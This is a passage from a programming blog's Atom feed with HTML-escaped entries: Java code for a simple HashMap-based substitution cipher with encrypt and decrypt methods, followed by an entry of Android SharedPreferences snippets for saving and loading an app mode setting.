“);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      Cipher ObjCipher = new Cipher();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      String ciphertext = ObjCipher.Encrypt(plaintext);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //output ciphered string&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.println(ciphertext);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //Decryption&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.print(“\nPlaintext = \n”);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      String outplaintext = ObjCipher.Decrypt(ciphertext); &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //output deciphered string&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.print(outplaintext);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//the class that that implements the actual encryption&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;class Cipher {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;String keys, values;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;           &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;     //Keys &amp;amp; Values for HashMap&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;String plaintext, ciphertext;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;HashMap&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;String, String&amp;gt;();&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;     //HashMap to do the mapping&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;//constructor, instantiates the HashMap&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;public Cipher(){&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;//one-to-one mapping (Keys - Values) of different length. In this example, &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;//A:OA, B:9B, C:8C &amp;amp;  so on…&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;  keys = “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;values = “0A9B8C7F6E5R4F3T2J1K4LX2VN18K9LC42B7” +&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;         “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//use for loop to fill up &amp;amp; map the Keys to the respective Values&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;for (int i=0; i&amp;lt;keys.length(); i++){&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;char charkey = keys.charAt(i);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //get each char from the Keys &amp;amp; convert to String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String tempkey = Character.toString(charkey);&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;char charval1 = values.charAt(i*2);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //get every two chars from the Values &amp;amp; convert to String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String tempval1 = Character.toString(charval1);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //…and concatenate both chars to form a single String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;char charval2 = values.charAt(i*2+1);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String tempval2 = Character.toString(charval2);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String tempval = tempval1 + tempval2;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;map.put(tempkey, tempval);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //fill the HashMap&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//Encrypt method, do the Encryption, takes Plaintext as argument&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public String Encrypt(String plaintext){&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String output = “”;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;char ch;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;for (int i=0; i&amp;lt;plaintext.length(); i++){&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   //go through the plaintext &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;ch = plaintext.charAt(i);  &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //take each chars as ‘Key’&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String str = Character.toString(ch);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //..and map to its corresponding ‘Value’&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;output = output + map.get(str);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   return output;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;            &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   //returns the the encrypted String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//Decrypt method, do the Decryption, takes Ciphertext as argument&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public String Decrypt(String ciphertext){&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String output = “”;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;char ch;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;String str = “”;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;for (int i=0; i&amp;lt;ciphertext.length(); i = i+2){&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//get next two adjacent chars from the Ciphertext&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;ch = ciphertext.charAt(i);  &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //concatenates them into a single String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;str = Character.toString(ch);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;ch = ciphertext.charAt(i+1); &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;str = str + Character.toString(ch);&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;Iterator j = map.entrySet().iterator();&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //look up through HashMap by the Value &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;while (j.hasNext()) {&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       //…to find the corresponding Key&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;           &lt;/span&gt;Map.Entry entry = (Map.Entry) j.next();&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;           &lt;/span&gt;if (str.equals((String)entry.getValue())){&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                //concatenates the output with each Key found&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;output = output + (String)entry.getKey();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;           &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return output;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;            &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  //return the Decrypted String&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Shared Preferences on Android</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Shared-Preferences-on-Android/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Shared-Preferences-on-Android</id>
   <content type="html">&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: inherit; font-size: large;&quot;&gt;Listing out some useful Shared Preferences snippets for easy references &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;public static final String MyPREFERENCES = “MyPrefs” ; //name to save Shared Preferences xml file&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;String currentmode = “”; //default current mode to start App&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//find the App’s Shared Preferences. If it doesn’t exist, create one. Name it “setting”&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;SharedPreferences setting = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//debug : used to  shared preferences&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/* Editor editor = setting.edit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;editor.clear();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;editor.commit(); */&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//check the last saved mode of operation. load it if it existed&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;public void checkMode(){&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    if (setting.contains(“savedmode”)){&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        currentmode = (setting.getString(“savedmode”,””));&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; Toast.makeText(getApplicationContext(),”Loading last saved mode of operation”, Toast.LENGTH_SHORT).show();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    } else {&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        //no setting saved for mode. Save convenient mode by default&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        currentmode = “convenient”;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; Editor editor = setting.edit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; editor.putString(“savedmode”, currentmode);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; editor.commit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; Toast.makeText(getApplicationContext(),”No mode found in the setting”, Toast.LENGTH_SHORT).show();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    }&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;br 